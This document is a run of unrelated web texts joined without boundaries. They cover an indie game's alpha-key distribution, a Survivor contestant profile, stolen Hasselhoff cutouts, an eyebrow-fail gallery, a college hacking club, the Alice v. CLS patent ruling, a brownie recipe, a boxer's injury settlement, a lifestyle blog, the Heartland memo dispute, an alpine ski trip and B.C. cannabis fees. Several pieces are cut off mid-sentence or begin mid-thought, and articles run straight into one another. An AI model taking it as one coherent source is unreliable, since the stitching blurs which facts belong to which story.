How to actually go about distributing the alpha version to the testers depends on many things. Interplanetary's first alpha version was a very incomplete game, filled with all kinds of issues. To say that we were hesitant putting it out there would be putting it mildly. Ease of access is the key of getting people to test a game which doesn't have an established reputation, but we still decided against simply sharing download links or using the Unity Web Player (doesn't really work out in Interplanetary's case anyway.)
This is when the idea of alpha keys came along. We would announce the alpha testing and ask hopeful testers to contact us to receive a code they can use at our website for a download link. This way there was less room for misconceptions, as we could explain to each individual tester the situation with the game. No one would just stumble across it, thinking it was the final product. We could also draw out the more serious testers; even if the process of obtaining the code is rather painless it's still a step that gets us into contact with the people most interested in the game.
For convenience, we mostly used our Twitter and Facebook to share the codes. We could then use these networks to easily communicate with the testers afterwards.
We also made code cards for live events. Spent some fun nights sticking codes on them. We also made code cards for live events. Spent some fun nights sticking codes on them.
The whole "system" worked manually: a person would contact us, ask for a code and we would give it to them along with instructions. An automatic system of some kind might have saved a lot of time, but I personally prefer direct contact, so it's easier to answer to questions and such. There was a period when I really wished we had a robot for this, though: the day we were noticed by RockPaperShotgun was absolutely insane! I had to spend days answering all the code requests we were getting.
Once Interplanetary landed to Steam Greenlight, we changed the system a little bit. Partially for the convenience for the users and partially for my sanity, we decided to build a special Greenlight Alpha with a direct link to it on the page. This version was less experimental than the earlier ones and the aim was |
video teasers, and then earn or lose points based on events like losing a challenge, finding an immunity idol, or crying unnecessarily.
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The physical part isn’t just about performing in obstacle course-style challenges; it also means providing for the tribe back at camp. (We’ve seen many a big guy get kept around longer than he should simply because his tribemates knew that without him there wouldn’t be any fish to eat.) The mental part isn’t just about solving aggravating block puzzles but also calculating, constantly, which of your allies is telling the truth and which will turn on you the second they get the chance. The contestants are paranoid the entire time; by the end, they’re physically and emotionally exhausted and have usually lost around 20 pounds.
This season, Culpepper has completely changed his persona from his first time playing. When he went on in 2013, it was for the first season of Blood vs. Water, a (good) gimmick the show did where every contestant was in a pair with a loved one who had played before. Culpepper went on with his wife Monica, who had been voted out fifth when she played in 2012.
On Blood vs. Water, the loved ones were split up into different tribes at the beginning. Monica was well-liked at her tribe, Brad was not. He was physically strong, obviously, but socially prickly. (And unlike many of the pro athletes who go on and lie about their profession, assuming that people won’t want to help an already-rich person win more money, Brad couldn’t pretend to be someone else, since everyone had watched his wife play.) In one memorable moment, after Brad had a hand in voting someone out that some of his tribe members wanted to keep, his tribemate Marissa screamed at him, “Fuck you Brad Culpepper!” (At the same challenge, Colton Cumbie quit the show in tears.)
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Brad got voted out sixth and then, weirdly, went around telling everyone he wasn’t mad at them.
Monica, on the other hand, made it all the way until the final tribal—though she was accused of riding coattails—and even received one winning vote, but Tyson Apostol won the money.
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Brad has been different this season. His fellow tribemate Zeke, who made news this season when he was viciously outed as transgender by a tribemate he had confided in, summed it up well when Brad quickly volunteered to sit out of a reward challenge: “So Brad falls on his sword to be the hero and the provider. I think this is very much part of the Culpepper brand.”
Well, the brand has worked. Big, strong men usually last at least until the merger, because their tribemates keep them around for their strength in challenges, but then are instantly targeted as threats. Brad has nimbly switched his alliances a couple of times, and hasn’t hesitated to link up with some radioactive types like Debbie, who is batshit. And often, yes, he has laid on the charm.
In a casual conversation at camp about family members, Culpepper brought up his wife and then had a good cry, impressing the others with his (real or feigned, who knows) tenderness. (At the same time, Zeke, in an exit interview, said he and police officer Sarah Lacina “both liked to roll our eyes at Brad Culpepper’s stories.”) He has made family his personal theme; his son Rex is currently the starting quarterback at Syracuse and Brad has worn a Syracuse cap every day on the island.
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That’s not to say Culpepper has been all sweet. In last week’s episode, with his back against the wall since the others were all planning to vote him out, he won the immunity challenge and promptly appeared to forget himself; the NFL player came out. When he won, he ran a few feet away, leaned down and scooped up a handful of sand from the beach, and, bizarrely, hurled it in the air. “You’re goddamn right,” he shouted, “you’re goddamn right!” It was awkward. When the host, Jeff Probst, said, “You clearly felt in trouble tonight,” Culpepper shot back, angrily, “Clearly!”
So if you feel like tuning in for the finale, it’s not too late. All you really need to know is that Culpepper, who transformed his social approach, is still hanging around, that it’s a surprise, and that he has a decent shot to be the first NFL-alum Survivor winner.
But he’s up against an adorable Vietnamese gay man who has two unused immunity idols and made it to the final three the last time he played (Tai); a likable cop who has one unused idol (Sarah); a likable, nerdy social-media marketer from Newton, Mass. who has flown under the radar this season (Aubry); a Survivor “hero” and mom who has played four times and never won (Cirie); and a stick-thin, long-haired swimsuit photographer nicknamed “Troyzan,” who also has an immunity idol he can use.
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Culpepper has no immunity idols. If he’s going to make it to the end he has to do it his goddamn self. But even if he doesn’t win, he’s done more than enough to atop of the ranks of athletes on Survivor.
Daniel Roberts is the sports business writer at Yahoo Finance. He can be found on Twitter @readDanwrite. (He is not the Daniel Roberts who has written for Deadspin about Floyd Mayweather, though, ironically, he has written about Mayweather elsewhere.)David Hasselhoff at the Coachella music festival in Indio in April. (Frazer Harrison / Getty…)
It seems people have been heading to the store to pick themselves up some David Hasselhoff. Hundreds of cardboard cutouts of David Hasselhoff, specifically, that have been stolen from stores in New England.
The "Baywatch" actor and "Dancing With the Stars" alum is featured in a promotional campaign for iced coffee from Cumberland Farms, a convenience store with 570 stores in 11 states.
Hasselhoff, for one, thinks the whole thing is "really funny."
"I looked at the report this morning that said 'ripped Hoff' and I thought, 'Aw that’s nice, they’re saying I’m still in good shape,'" he told Massachusetts' WHDH on Wednesday. "And then I realized people were stealing me."
About 550 of the life-sized cutouts have been kidnapped, according to the Associated Press.
Not every Hasselhoff fan has light fingers, however. Some folks are willing to put a price on the Hoff's head -- or, more accurately, on the upper half of his body as it hawks 99-cent iced coffee.EYE, eye, what do we have here? Some of the worst eyebrow fails to grace the internet, gathered together in one eyebrow raising gallery for you to enjoy.
Too big, too small, too scary; there is no eyebrow mistake not being made here so pencils at the ready, here's how NOT to do it.
Eyebrow pencils can give you bold brows, but why stop there? Draw on bold eyes and lips too to really get your money's worth.
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The wicked witch look was popular this year - just not in real life!
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Some brows are too thin...
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Others are even thinner...
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Some brows could do with being a touch thinner... but then again, the triangle of black in the middle of the forehead might need looking at first.
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She looks pleased with her work but these brows look like lost tadpoles about to have a fight.
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Is putting drawings of bridges on your face instead of eyebrows a thing? No, we didn't think so.
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Go big or go home, and who cares that there is hardly any space left on your face for your other features.
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When your eyebrows don't agree with your facial expression, everyone gets confused.
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Clearly being in jail is one way to look like a bad-ass. Drawing on REALLY fierce eyebrows is another.
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Surprise! Someone drew a map of the Himalayas on your face.
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Mono-brows. Most people get rid of them, this lady is going against the crowd and taking it to the next level.
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Related Stories Don't tr-eye this at home A woman has paid the ultimate price of beauty with this terrifying eyelash curler fail 'THEY'RE FAR TOO THICK' Prime Suspect 1973 viewers distracted by Jane's full eyebrows which were 'unfashionable' in the 70s Pictured PLUCKING HELL! New internet craze sees parents draw eyebrows on their babies' faces... with hilarious results BROW BEATER Mum shares photo of two-year-old daughter's perfect EYEBROWS that beauty fans are comparing to Kim K YOU WON'T BELIEVE YOUR KYES Korean beauty blogger transforms herself into Kylie Jenner in amazing make-up transformation
It doesn't matter what you say to her - she fact that she's annoyed with you is drawn all over her face.
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Feeling blue? Cheer yourself up with a new look, just not this one!
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She's got these brows spot on.
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Right angles. Not something you'd usually expect to see in an eyebrow but there's a first time for everything.
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Cat's the way she likes her brows - and she's feline fine about the way they look thanks for asking.
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The only way is up for these high-flying brows.
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We're just praying these aren't tattooed on - because she's going to regret them in about a minute's time.
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These brows also double as a barcode. And the price of this look is 'cheap'.
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Even the boys are getting in on the eyebrows-as-statements trend - literally.
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So many eyebrows, so little time (to actually look in the mirror).
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When you're sure you've nailed your look - save time by having it tattooed on to your face. Add cobwebs for a touch of menace.
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If only they'd had these stencils - these eyesores could have been avoided.The next evening, I follow David and the other Sthackers to a meeting of NU Hacks, the college’s official hacking club, whose website describes it as “a community of artists, programmers, makers, breakers, and rump shakers,” and tonight, in a midsize lecture hall, they are voting for next semester’s leadership positions.
“Whoa, the population of women just went up in here by a hundred percent,” says Niousha, the club’s president, as she enters the room. To be precise, it’s 14 men to two women in the room tonight, and aside from a few Asian faces, the room is dominated by reedy white guys, which is a more or less accurate reflection of what’s happening in computer science at most colleges right now. The club’s got an open door, and of the dozen or so members I speak to, all of them say they wish more types of people would walk through it. In the meantime:
“Yo, I have ducks! Does anyone want ducks?” Niousha asks. She starts tossing out rubber ducks, a reference to “rubber-duck debugging,” where you work through a problem by talking to a rubber duck. Then the election begins.
By now I’ve learned that hackers will always look for exploitable loopholes; they follow rules but also test them. Sure enough, with every office open and so many candidates running unopposed, someone says: “Wait, what if we just did ‘No Confidence’ for everybody?”
Others join in. “Let’s elect Bernie.”
“I’m raising money for a recount.”
“Rigged!”
“Wi-Fi causes autism.”
The meme catches on as the speeches begin; each candidate is now running against No Confidence. Danielle, the lone presidential candidate, is a regular NU Hacks attendee. “I always feel guilty if I don’t go” to the meetings, she tells me later; she’s big on inclusion and worried that potential new members would see a room of dudes and assume they didn’t care about including women. “I feel like my presence there helps against people who might say those things.” She’s had to put up with some sexism in the CS world, like enduring flirting from a male classmate just so he’d teach her about C pointers. Rather than trying to blend in, she plays up her gender: “I wear pink all the time, skirts, everything. I’m here to be the beacon of: It’s OK to be feminine here, and it’s OK to be a woman.”TS3 feels different for several reasons:1. Games are quick and less epic. This impacts everything. You can have the best event production in the world and if the game quality is bad or perceived as bad, it taints everything. Similarly, if you have a million problems but get a 5-game epic series, all is forgiven. The additional time dedicated to sponsors would be easily forgotten if the games were better. I can't really comment on the duration or concept or number of advertisements, that's a decision for the organizer and not an easy thing to balance.2. There is less player fun stuff. This is almost because BTS did too good a job of taking care of players. Every single player here can have a computer to pub if they want. Because of this, they love the tournament but you rarely see them because they're practicing either in their rooms or at the hotel or whatever. It's not a surprise the only team really to go on the fun stream is Vici who advanced on day 1. Everyone else is practicing.To add onto that, people are mad that Vici sat and played poker for hours. They wanted to see more crazy fun stuff like EU Hub. Well, that's not really controllable from the organizer standpoint. What is BTS supposed to do, require teams to do fun stuff that entertains in the the way the stream wants? The players would riot. One of the biggest complaints last time from players was that there weren't enough computers and that they had nothing to do but sit in a room doing "fun" stream stuff.The community getting mad over this is essentially punishing BTS for providing better player conditions, which is kinda shitty.
View moreSoftware patents aren't dead, but they just took a blow. In a unanimous decision, the Supreme Court has ruled that a series of banking patents didn't cover a concrete software process but an abstract idea, throwing them out and potentially setting a stricter precedent for future patents.
Alice Corp. and CLS Bank are both major financial institutions, and they've been sparring for years in court. The issue is a series of patents that cover a kind of electronic escrow or "intermediated settlement," where a third party holds the real money while "shadow" balances are shown to both sides during trading. In order to preempt a threat from Alice, which held those patents, CLS asked for a court to declare them invalid, saying that the basic idea was obvious and that the patents didn't add more than a generic software process to carry it out. Alice countersued, alleging that CLS had infringed its patents, and the Supreme Court took up the issue in late 2013.
'Apply it with a computer' isn't a valid software patent step
Alice attempted to prove that its patents were more than just an idea by pointing to the specific software steps that it had to carry out. But the court found that these steps weren't ultimately much more than "stating an abstract idea while adding the words 'apply it with a computer.'" The claims "simply recite the concept of intermediated settlement as performed by a generic computer. They do not, for example, purport to improve the functioning of the computer itself or effect an improvement in any other technology or technical field." Each of the steps that Alice described were basic computer functions like adjusting account balances, keeping records, and issuing automated instructions, and the finished product didn't transform them into something more than the obvious sum of their parts.
Alice Corp. v. CLS Bank has been one of the most closely watched patent cases of the year. It takes on what patent reform advocates see as the unreasonably broad category of "software patents," which cover a process implemented on a computer rather than a piece of design or a physical invention. Earlier, the case was somewhat hyperbolically said to spell the "death of software patents," but this decision doesn't necessarily stop people from patenting a software "idea," as long as its technical steps are concrete improvements or new designs, not an aggregation of existing steps.Red wine brownies with cheesecake swirl are a perfect combination of chocolate, a subtle hint of red wine, and a rich cheesecake batter.
This post contains affiliate links. For more information, please see my disclosure statement.
Red wine brownies with cheesecake swirl were supposed to be red velvet cheesecake brownies. I’ve been planning on posting them this weekend (you know, because of Valentine’s Day) for months, then I looked at Pinterest and at my BlogLovin’ feed and realized that everyone else and their brother had already posted a recipe for some sort of red velvet something this week. I’d been wanting to make a bundt cake version of the red wine cake from The Smitten Kitchen Cookbook for a while now and needed a dessert for a work lunch, but iced bundt cakes don’t really travel all that well and brownies do, so I did a little reading and came up with these.
Red velvet is one of my very favorite cakes, probably more because of the thick layer of cream cheese frosting than anything in the actual cake. Because of its red color, of course, it’s a standard Valentine’s Day dessert. But really, isn’t red wine a little more Valentine’s Day than red velvet?
Honestly, the truth is that I don’t care. Philip and I started dating the week before Valentine’s Day sixteen years ago (sixteen years, what? How old am I again?!?!?!?!) so we were a little too early in our relationship to worry about Valentine’s Day that first year. The next year we decided that we’d rather celebrate our dating anniversary, and then after that we decided that Valentine’s Day was just not really our thing. And despite the fact that ladies that Philip has worked with have told him that no matter what I say, I REALLY DO want him to buy me a Valentine’s gift, I really, really don’t.
Unless he wants to give me these red wine cheesecake brownies. I mean, these are pretty fantastic. They’re dense and rich and extremely moist. The red wine doesn’t overwhelm, but you definitely taste it in the background and it pairs perfectly with the chocolate. Plus, how can you go wrong when you swirl cheesecake batter into chocolate?
These red wine brownies with cheesecake swirl are basically perfect.
Do you celebrate Valentine’s Day? If so, what are your plans?
Mary Yield: 16-32 brownies Red Wine Cheesecake Brownies The brownie batter is adapted from The Domestic Rebel. The cheesecake batter is from Smitten Kitchen. 20 minPrep Time: 35 minCook Time: 55 minTotal Time: Save Recipe Save Recipe Print Recipe My Recipes My Lists My Calendar Ingredients For the brownie batter 1 cup semi-sweet or bittersweet chocolate chips
8 tablespoons unsalted butter
1/4 cup Merlot
2 large eggs
3/4 cup granulated sugar
1 teaspoon vanilla extract
1/4 cup cocoa powder
1/2 cup all-purpose flour
pinch salt
For the cheesecake swirl 8 ounces cream cheese at room temperature
1/3 cup granulated sugar
1 large egg yolk
1/4 teaspoon vanilla extract Instructions Preheat the oven to 350 degrees. Line an 8×8 pan (or 9×13 pan, if you are doubling the recipe) with foil or parchment paper. Spray the foil or paper with nonstick cooking spray. Place the chocolate chips and the butter in a medium saucepan set over medium-low heat. Cook, stirring frequently, until completely melted. Stir in the red wine and allow to sit for one minute. Whisk the eggs into the chocolate mixture. Add the vanilla and sugar and whisk to combine. Whisk in the cocoa, flour, and salt until completely incorporated. Pour the brownie batter into the prepared pan and set aside. In a medium bowl, whisk together all of the cheesecake batter ingredients until smooth (there may be a few lumps). Drop spoonfuls of the cheesecake batter all over the brownie batter. Drag a knife through the cheesecake batter until well-marbled. Bake the brownies for 30-35 minutes. Remove from the oven and cool in the pan for 15 minutes, then use the parchment or foil like a sling to remove the brownies from the pan. Cool completely then cut into squares and serve. Nutrition 7.8.1.2 250 https://chattavore.com/red-wine-brownies-cheesecake-swirl/
Print the recipe for red wine brownies with cheesecake swirlAn advocate for transgender prisoners says Corrections is not doing enough to protect their safety.
Since last year, prisoners have been able to apply to be moved to a prison which fits their gender identity.
In August, Corrections apologised to prisoner Jade Follett, whose application to be moved to a women's jail was lost.
And earlier this month, a transgender prisoner in the Corrections Facility in Wiri was allegedly beaten and raped by other prisoners.
Lawyer Kelly Ellis said these cases showed Corrections wasn't following its own rules.
"It's all very well having the changed regulations and the new protocols there, but ultimately, the prisons do not seem to be applying these.
"That seems to be the case obviously with Jade Follett at Rimutaka and with this other prisoner, whose name we probably will never know, who was raped in Serco in south Auckland - so there's the proof in the pudding."
Corrections said it cannot comment on individual cases.NEW YORK -- Nearly four years after boxer Magomed Abdusalamov suffered brain damage from a bout in the Theater at Madison Square Garden, New York State has agreed to pay him and his family $22 million in what is believed to be the largest personal injury settlement the state has made.
Court of Claims Judge Jeanette Rodriguez-Morick approved the agreement on Friday.
After Abdusalamov's fight on Nov. 2, 2013, his family filed suit alleging recklessness, gross negligence and medical malpractice by the New York State Athletic Commission, NYSAC staff and the doctors it retained to work that night. The complaint said improper care crucially delayed diagnosis and treatment of a developing blood clot in Abdusalamov's brain. He underwent emergency surgery, suffered multiple strokes, was in a coma for weeks, and was hospitalized for more than 10 months, including in-patient rehabilitation.
Now 36, Abdusalamov remains paralyzed on his right side and unable to walk. His speech is mostly limited to mumbling. His wife, Bakanay Abdusalamova, said doctors told her he'd likely never talk again, but now he occasionally delivers fully formed words with clarity. She cares for him and their three daughters -- ages 11, 8 and 4 -- in a Connecticut house provided by a friend.
Abdusalamov was paid $40,000 for the fight and received the full $10,000 payout from a mandatory minimum insurance policy. A year-and-a-half later, the incapacitated ex-boxer and his family were more than $2 million in debt, according to a 2015 court filing.
After a 32-month investigation, the state inspector general released a 48-page report last year that excoriated the NYSAC for mishandling Abdusalamov's care and for an array of systemic problems, including its approach to medical emergencies.
The Abdusalamov family's attorney, Paul Edelstein, characterized the $22 million settlement to ESPN's Outside the Lines as "the state taking responsibility for its actions and paying an appropriate amount for the damages caused -- it was handled by the attorney general's office and Assistant AG Ross Herman in an extraordinarily professional and empathetic way."
Abdusalamova told OTL through an interpreter that when she was told of the impending settlement, "I was depressed for a few days, because I always thought by this time Mago would be better and our normal life would return... but I came to the realization that although we can't bring back the Mago of before, this will really help us make his and our family's life better, and we can pay to get him more treatment without depending on others."
A heavyweight title contender from the Russian Republic of Dagestan, the left-handed Abdusalamov was 18-0 and opponent Mike Perez was 19-0 at the start of their 10-round fight televised by HBO in 2013. From the first round, when Perez staggered Abdusalamov with a quick left forearm to the face, Abdusalamov appeared to have trouble breathing out of his nose. Perez went on to win a unanimous decision, and Abdusalamov's face was left a bloody, swollen mess.
In a 2014 Outside the Lines report, Abdusalamov's handlers said he told ringside physicians in the dressing room after the fight that his head hurt. The doctors examined him, sutured a gash above his left eye and advised that he have a suspected facial fracture X-rayed -- after his planned return to Florida, where he and his family lived at the time. The doctors did not send him to a local hospital in New York, although they had an ambulance at their disposal.
After the doctors left the dressing room, the NYSAC inspector assigned to monitor Abdusalamov found blood in his urine sample and suggested that he go by taxi to a hospital. While Abdusalamov's interpreter tried to hail a cab outside the Garden, the increasingly unsteady 6-foot-3, 231-pound boxer was nearby, vomiting. Once inside the emergency room, he lost consciousness.
Magomed Abdusalamov, right, suffered brain damage and was left in a coma for weeks after his November 2013 match against Mike Perez at Madison Square Garden. Al Bello/Getty Images
The inspector general's investigation found that NYSAC chief medical officer Barry Jordan bore some responsibility for the confusion when Abdusalamov became ill postfight and that NYSAC inspector Matt Farrago's training and actions were lacking. The settlement finalized Friday does not contain a reference to the inspector general's findings or an admission by the state, which employed and represented Jordan and Farrago, but the Abdusalamov family dropped its claims against them as part of the agreement.
The inspector general's report recommended reforms to the NYSAC, the agency overseeing boxing and mixed martial arts events in the state, which were legalized there in 2016. Last year the state also enacted a controversial $1 million traumatic brain injury insurance requirement for boxing and MMA participants, reportedly the nation's highest.
The state is to pay $10 million into structured settlement annuities for Abdusalamov, $10 million into an account overseen by his court-appointed property guardian (to handle financial obligations, including legal fees) and $2 million to his wife for loss of services and consortium.
"I would trade all of the money to just bring back Mago as he was," Abdusalamova said, "but that's not how it works. It cannot buy the happiness we had."
In May, Abdusalamova posted a video on Instagram of her husband smiling as his daughters cheerfully arm-wrestled on a tray table over his home hospital bed.
"For a long time he was crying a lot, clearly not in good spirits, but antidepressant medication has been of some help controlling that," she said.
A countersuit filed by the state against Abdusalamov's former trainer, manager, interpreter and promoters is no longer active.
The settlement agreement states that the family does not release its claims against Anthony Curreri, Osric King and Gerard Varlotta, the doctors who examined and attended to Abdusalamov on fight night at the Garden before, during and after the bout. Referee Benjy Esteves Jr. is also named.
"The three ringside physicians had primary responsibility and we're not going to stop until they acknowledge it," Edelstein said. "Their malpractice insurance carriers' lawyers apparently don't see the case the way the inspector general and attorney general do."
Added Edelstein, on pursuing the case in state supreme court: "I'm obviously very pleased about the settlement with the state that provides for Mago and his family, but having these doctors testify in open court may be the best way to show how grievous this was and how screwed up the system of caring for athletes is in an admittedly dangerous sport."A quick glance on the news can easily convince anyone that the world as we knew it is on the brink of self-destruction. Some even wait for its final collapse to build a brand new system on the rubble of the old one.
The most paranoids are preparing to face the Armageddon by stashing months worth of food and learning how to make a bow and arrow with a shoe string and the remains of a toilet seat (they’re called survivalists).
It’s tempting to feel helpless when global changes are occurring so fast, and seen from a posture of silent anticipation, our future as a species looks pretty grim. To make matters worse, the media love to bombard us with information on global warming, dirty bombs and creepy religious fundamentalism.
Global threats are part of part of reality, no question about that, but they only represent one corner of the big picture. This fresh millenium has a bright side that we can all enjoy, while contributing to the highest good of all.
As I write this post, growing tribes are changing their daily habits to live well and do good in the same time. Their creativity and enthusiasm might defeat the impending doom, not by engaging in political activism, but by tweaking their lifestyles smartly, one step at a time.
Let me list some areas where you can upgrade your life and make a difference without putting your career and family at risk.
Alternative homes
Sure, it’s still possible to commit 30 years of your life for a concrete house somewhere in the countryside, spending a fortune in commutes and hoping that your neighbors don’t end up shooting your dog during hunting season. There are other options though.
Eco-villages are spreading in western countries: they gather tribes of conscious earthlings living in zero impact houses, growing most of their food and reinventing social connections between the members of their community, regardless of their age.
My wife and I are currently exploring that sphere and I will report our first hand experience, we’re lucky enough to have friends who have made that step and are thrilled about it.
I’ve also discovered the concept of Earthship: an architectural design that allow you to build houses that are dirt cheap, sexy and off the grid ($100 bills yearly: water, heating, and electricity). I’m planning to investigate on that as well. If you’re curious, check: www.earthship.com.
Educating yourself
The internet provides instant access to knowledge. It’s a chance for us to catch up on our years of youth imbecility when we thought school was a pain in the ass, and a fast track to more exciting careers as well.
I’ve recently used coursera.org, most of their courses are free and given by university lecturers…and you can get them from home.
Another trick found on this post: Google University: go to Google.com, try searching “site:.edu ________” and fill in the space with what you’re looking for. Eg. If you want an online lecture on hinduism, search “site:.edu lecture hinduism.” This method of searching only goes through University websites and brings you high quality content.
Education used to be expensive, now it comes in unlimited quantity at the cost of an online connection, allowing us to trade our stiff opinions for knowledge, and low pay jobs for better positions.
Spending less
Don’t you get the feeling that money is your main blockage? I guess most of us do, and until last year I was pretty lousy at financial management. While the immediate solution that comes to mind is to earn more, consider saving a higher priority. Saving equals security and freedom at no cost. Cutting down on expense doesn’t mean living a depressing live, as long as you substitute expensive leisures with free activities (suggestions all along this post).
Follow the Minimalist movement, it’s a tribe that innovates on ways to simplify your life, reduce life expenses and focus on the essential. These guys are years ahead on the art of simplicity, they teach the skills of a mindful and eco-friendly approach by buying less and choosing long lasting products.
You might also want to visit www.mrmoneymustache.com if you plan to stop the bleeding and transform money into an powerful ally.
Abandoning the cubicle
Two years ago, my main obsession was to close the biggest sale for an IT company. I managed to do that successfully…But I had to sacrifice most of my time and the company eventually went bankrupt. I’m not the only one thinking that corporations are asking for more and more of your workforce for the “security” that they provide.
I chose to drop everything and start from scratch, but you don’t have to go to that extreme.
In fact, there’s an increasing number of people who learn to make their first 1k on the side, via freelance gigs or online businesses. Eventually leaving their full time jobs to enjoy working wherever they please. Although there’s a lot of bullshit claims from online marketers, the opportunities are real. If you’re interested in that path try Fizzle.co, their content is serious and documented (I don’t get a dime for recommending this site, nor any others on this post, BTW).
Eating right
Modifying your eating pattern involves deep transformations, that’s why it’s such an amazing field of discovery. I should probably put that one on top of my list. Eating different impacts everything: your budget, your moods, energy level and the planet. I’m not going to rant about animal cruelty and evangelize for veganism (I took the vegan challenge for a year), but seriously, even minor changes in that direction will make you feel like a new person.
Needless to say that cooking your own meals is cheap, fun and healthy, I find it a pretty awesome package.
I recommend: www.mynewroots.org and www.gluten-free-vegan-girl.com to start cooking colorful and healthy meals.
Reworking your body
A daily job doesn’t cost a dime and lifting weight in a fitness club represents a mere $30/month investment. Even if you’re not into taking exercise, hiking is by far the cheapest and easiest way to get back in touch with your body on a budget. That’s a safe and cheap substitute to cinema and restaurant, if you’ve decided to start saving next month.
Even more basic: breathing. Most of us don’t know how to breathe, we supply insufficient amounts of oxygen to our system, resulting in higher levels of stress, fatigue and even risks of developing cancers (google it for more evidence-based information). Quitting your smoking habit is a first step to take in that direction, but meditation and yoga are also your friends, as they teach you the art of feeding your cells more air, the number one requirement for life…
Consider working out as a free alternative to tranquilizers and expensive mind altering products.
Travelling differently
I receive an increasing number of emails from people who plan a trip to Nepal in order to visit monasteries and discover Buddhism, that’s only an example of how to spend enlightening vacation.
Other people chose fair tourism as an alternative to “all inclusive travelling” in order to learn from other cultures instead of leeching on their eco-systems in a big-ass resort.
You might also look into woofing, it’s gaining popularity for obvious reasons. Woofing gives you a chance to trade a few hours of your work a day in exchange of food and shelter in a farm, hundreds of beautiful places can visited for virtually nothing while enjoying the best of the country lifestyle.
The usual antagonism between bohemians, hipsters and overachievers are a thing of the past. In 2014, the question is no longer about finding a cool identity, but how to thrive in a toughening economy and growing as human beings without trashing the planet we live on.
There’s a wealth of solutions to make it possible, it’s a concept called Lifestyle Design and that’s what gr0wing.com is about.
Your ideas and discoveries are as usual more than welcome in the comments below :)
Photo under Creative Common License – theregenerationVia DeSmogBlog:
A line-by-line evaluation of the Climate Strategy memo, which the Heartland Institute has repeatedly denounced as a “fake” shows no “obvious and gross misstatements of fact,” as Heartland has alleged. On the contrary, the Climate Strategy document is corroborated by Heartland’s own material and/or by its allies and employees. It also uses phrases, language and, in many cases, whole sentences that were taken directly from Heartland’s own material. Only someone who had previous access to all of that material could have prepared the Climate Strategy in its current form. In all the circumstances – taking into account Peter Gleick’s explanation of the origin of the Heartland documents, and in direct contradiction of Heartland’s stated position – DeSmogBlog has concluded that the Climate Strategy memo is authentic.
Based on the balance of probabilities, I would say the document is authentic. Of course most climate sceptics will continue to deny that the document is authentic. Why?
Heartland Institute has little choice to deny ownership of the document. Where they to admit authorship, they expose themselves to:
the possible loss of their tax-exempt charitable status confirmation of the role of think tanks in undermining the IPCC and the work of scientists the reputation of not just of Heartland, but those affiliated with its activities, being destroyed.
Bad actors: doubt is their only product
Heartland Institute has been proven again, and again to be “bad actors” in any contentious public policy debate. For decades it mislead the public on the effects of second-hand smoke and the seriousness of climate change. It’s “donors” operate behind a smokescreen of anonymity.
As recently as 2007 Heartland’s CEO Jo Bast was questioning the link between second-hand smoke. That Heartland receives funding from tobacco companies is of course coincidental.
In Bast’s view the link is unproven, and anyone asserting there is a link they must be part of an enormous conspiracy to impose government regulations and rob people of their “freedoms”:
Who’s Claiming Consensus? Far from being |
way up and keen to fix them up a little, my thoughts turn to how long it’ll take us to get back to the skis and down across the glacier, which has been basking in the warm sun behind us all day. Nick builds himself an abolokov in clear glacier ice and raps back down to me, and we start our descent, finding the rope work clean and easy with the open slope below us, and we are soon over the bergschrund and back at our skis.
As we organise our gear for the ski home, I look across at the Aiguille d’Eboulement, two kilometres away, the deep scars from half-a-dozen of yesterday’s avalanches carve through it’s entire south face; and another slide, the first of today, rumbles down just below it’s south west couloir as we watch. We will not be skiing it this year.
The slightly steeper slopes directly under the Grandes Jorasses provide us with beautiful skiing in much-appreciated cold powder, before turning into ankle-snapping soup as soon as we hit the shallow-angled rollers at the top of the Glacier de Leschaux, as suddenly as someone flicking a switch.
We surf back to the ladders and tie our skis up at the bottom; just fifteen minutes have passed since we last had the ropes out. We haul ourselves up to the refuge and are glad when we can finally pull our ski boots off, and relax with a cup of coffee and some sugared nuts.
“We’re not touring up to the Breche Puiseux tomorrow, are we?” I ask, sat on a woolen blanket, my legs dangling off the edge of the balcony.
“I’m so glad you said that,” Nick replies.
We sit and discuss the last two days – what went right or wrong, what we learned, and what we’ll do differently next time. We might not have been able to tick off any of the three objectives we had for this miniature expedition, but we gathered a lot of useful experience and a very real appreciation of what the Grandes Jorasses demands of you as a climber. We will definitely be back; probably with a tent to camp on the final plateau of the glacier before the north face begins in earnest.
We eat our dinner by the light of the setting sun and we take to our beds with a cup of camomile tea, then we sleep in until mid-morning has started warming our little hut. We pack, slide down the ladders, and pole along under a thickening grey sky until the snow runs out. We walk half a kilometre to the stairs, and we curse each step up to the gondola. Exhausted, we find ourselves at Elevation, surrounded by beer, chips, and some of the first people we’ve seen for forty hours.
Some of the pretty pictures above are from Nick, the others are mine.B.C.'s Premier is warning cities they can't gouge cannabis businesses with licensing fees if the province wants to squeeze out the sizable black market once the drug becomes legal next summer.
John Horgan said Wednesday that all levels of government must be careful not to tax the drug too heavily if the legal supply is to compete with prices in the underground market. For municipalities, that means not "piling tax upon tax" by charging high fees for legal cannabis firms to operate in their communities, he told reporters during his weekly news conference.
"If the regional governments, for example, want to have their business permits and permits to operate in city limits, that's going to increase the cost of the product to consumers and it may well be that the black market survives this transition," he said. "I want to make sure that doesn't happen."
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Canada's cannabis black market is estimated at about 400,000 kilograms a year, although it's not clear how much of that is from online sales from dispensaries, which ship their products undetected through Canada Post.
British Columbia, long home to the country's largest network of illicit cannabis producers and more than a hundred illegal pot shops, has no timetable for releasing its plan to regulate the drug once prohibition ends next summer. Most other provinces have announced how they will regulate the distribution and sales of cannabis products.
Mr. Horgan said B.C. had expected to be able to add its own tax on cannabis in order to bolster law enforcement and public health, and to establish a regulatory framework and system of sales. But, he said, the province is rethinking that after Ottawa's proposal – heavily criticized by the provinces – for an excise tax on all cannabis sales of roughly 10 per cent, split evenly with the provinces.
Last month, B.C.'s provincial-municipal cannabis committee met for the first time and plans to continue to meet every two weeks for the near future to discuss issues such as how all three levels of government should split any revenue from the nascent sector.
Vancouver Councillor Kerry Jang, co-chair of the provincial-municipal committee, said communities don't know what types of costs they will incur until the new provincial framework is crafted.
"If the province is doing all the work on it, then we don't need money," he said on Wednesday. "Right now, everybody's assuming – all three levels [of government] – that they're going to have to pay for everything.
"So they're all making sure to say, 'We need a part of this, so we're not left holding the bag.'"
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Mr. Jang said his city's approach to charging illegal cannabis dispensaries $30,000 for a licence to operate will have to be reviewed once the provincial and federal laws are finalized. He said Vancouver's bylaw regulating the land use of these pot shops has not recovered the costs of regulating dozens of scofflaw locations because a number of injunction applications are still winding their way through the courts.
"We're behind [on putting unlicensed shops out of business], but that's because everybody knows the courts won't hear them til next year," he said.
